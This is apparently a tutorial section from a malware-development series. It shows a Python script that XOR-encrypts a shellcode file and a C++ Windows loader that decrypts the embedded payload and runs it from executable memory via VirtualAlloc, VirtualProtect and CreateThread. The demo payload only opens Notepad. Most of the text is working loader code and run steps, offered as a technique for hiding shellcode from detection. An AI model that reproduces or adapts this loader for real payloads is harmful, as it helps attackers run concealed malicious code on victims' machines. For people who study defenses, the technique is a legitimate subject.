

## XOR Encryption

In this section, we will be encrypting our payload using XOR, so here's the python file which I wrote for the encryption:

```
Working_encryptor_xor.py
1  import sys
2
3  ENCRYPTION_KEY = "123456789ABC"
4
5  def xor(input_data, encryption_key):
6      encryption_key = str(encryption_key)
7      output_bytes = bytearray()
8
9      for i in range(len(input_data)):
10         current_data_element = input_data[i]
11         current_key = encryption_key[i % len(encryption_key)]
12         output_bytes.append(current_data_element ^ ord(current_key))
13
14     return bytes(output_bytes)
15
16 def printCiphertext(ciphertext):
17     print('{ 0x' + ', 0x'.join(hex(x)[2:] for x in ciphertext) + ' };')
18
19 try:
20     plaintext_path = sys.argv[1]
21 except IndexError:
22     #print("Usage: C:\Python27\python.exe encrypt_with_xor.py PAYLOAD_FILE > OUTPUT_FILE")
23     print("Usage: python Working_encryptor_xor.py > Output_file_name")
24     sys.exit(1)
25
26 try:
27     with open(plaintext_path, "rb") as file:
28         plaintext = file.read()
29 except FileNotFoundError:
30     print(f"File '{plaintext_path}' not found.")
31     sys.exit(1)
32
33 ciphertext = xor(plaintext, ENCRYPTION_KEY)
34 printCiphertext(ciphertext)
35
```

Here the xor function is implemented, where it encrypts the data, and it has two parameters, one is key, and another is data, so you open the file, and read it, and allocate to some variable, which you can treat as data, and then the xor function is implemented.

And here's the image of the .cpp file, which will decrypt the file, and execute the shellcode:

```

1 #include <windows.h>
2 #include <stdio.h>
3 #include <stdlib.h>
4 #include <string.h>
5
6
7
8 void DecryptXOR(char * encrypted_data, size_t data_length, char * key, size_t key_length) {
9     int key_index = 0;
10
11     for (int i = 0; i < data_length; i++) {
12         if (key_index == key_length - 1) key_index = 0;
13
14         encrypted_data[i] = encrypted_data[i] ^ key[key_index];
15         key_index++;
16     }
17 }
18
19
20 int main(void) {
21     void * alloc_mem;
22     BOOL retval;
23     HANDLE threadHandle;
24     DWORD oldprotect = 0;
25
26     //unsigned char payload[] = { 0x5f, 0x2d, 0x60, 0x56, 0x55, 0x5c, 0x5b, 0x5a, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4f, 0x4e, 0x4d, 0x4c, 0x4b, 0x4a, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3f, 0x3e, 0x3d, 0x3c, 0x3b, 0x3a, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2f, 0x2e, 0x2d, 0x2c, 0x2b, 0x2a, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x1f, 0x1e, 0x1d, 0x1c, 0x1b, 0x1a, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, 0x13, 0x12, 0x11, 0x10, 0x0f, 0x0e, 0x0d, 0x0c, 0x0b, 0x0a, 0x09, 0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01, 0x00 };
27     unsigned char payload[] = { 0x5f, 0x2d, 0x60, 0x56, 0x55, 0x5c, 0x5b, 0x5a, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4f, 0x4e, 0x4d, 0x4c, 0x4b, 0x4a, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3f, 0x3e, 0x3d, 0x3c, 0x3b, 0x3a, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2f, 0x2e, 0x2d, 0x2c, 0x2b, 0x2a, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x1f, 0x1e, 0x1d, 0x1c, 0x1b, 0x1a, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, 0x13, 0x12, 0x11, 0x10, 0x0f, 0x0e, 0x0d, 0x0c, 0x0b, 0x0a, 0x09, 0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01, 0x00 };
28
29     unsigned int payload_length = sizeof(payload);
30     char encryption_key[] = "123456789ABC";
31
32     // Allocate new memory buffer for payload
33     alloc_mem = VirtualAlloc(0, payload_length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
34     printf("Payload address: %p\n", (void *)payload);
35     printf("Payload length: %d\n", payload_length);
36     printf("Payload content: ");
37     for (int i = 0; i < payload_length; i++) {
38         printf("%c", payload[i]);
39     }
40     printf("\n");
41
42     // Decrypt the XOR payload to Original Shellcode
43     DecryptXOR((char *)payload, payload_length, encryption_key, sizeof(encryption_key));
44
45     // Copy the decrypted payload to allocated memory
46     RtlMoveMemory(alloc_mem, payload, payload_length);
47
48     // Set the newly allocated memory to be executable
49     retval = VirtualProtect(alloc_mem, payload_length, PAGE_EXECUTE_READ, &oldprotect);
50     printf("VirtualProtect result: %d\n", retval);
51     printf("\n");
52
53     // If VirtualProtect succeeded, run the thread that contains the shellcodePayload
54     if (retval != 0) {
55         threadHandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) alloc_mem, 0, 0, 0);
56         WaitForSingleObject(threadHandle, -1);
57     }
58
59     return 0;
60 }

```

Make sure that “encryption\_key” is same in both codes, otherwise it won’t be able to decrypt the code, and give the expected output.

Here’s the image of the xor decrypt function implemented:

```

8 void DecryptXOR(char * encrypted_data, size_t data_length, char * key, size_t key_length) {
9     int key_index = 0;
10
11     for (int i = 0; i < data_length; i++) {
12         if (key_index == key_length - 1) key_index = 0;
13
14         encrypted_data[i] = encrypted_data[i] ^ key[key_index];
15         key_index++;
16     }
17 }

```

So, now in the cmd, first run the python file, and encrypt the .bin file.

```

FLARE-VM 04-04-2024 14:43:31.99
C:\Users\Red\Desktop\project\10-XOR_encrypting_payload>python Working_encryptor_xor.py notepad.bin Output_xor.xor_

```

Now copy the encrypted payload and put it in the .cpp file.

And run the .bat file, you will get a .exe file, then execute it, you can see that it executes properly and it opens the notepad.

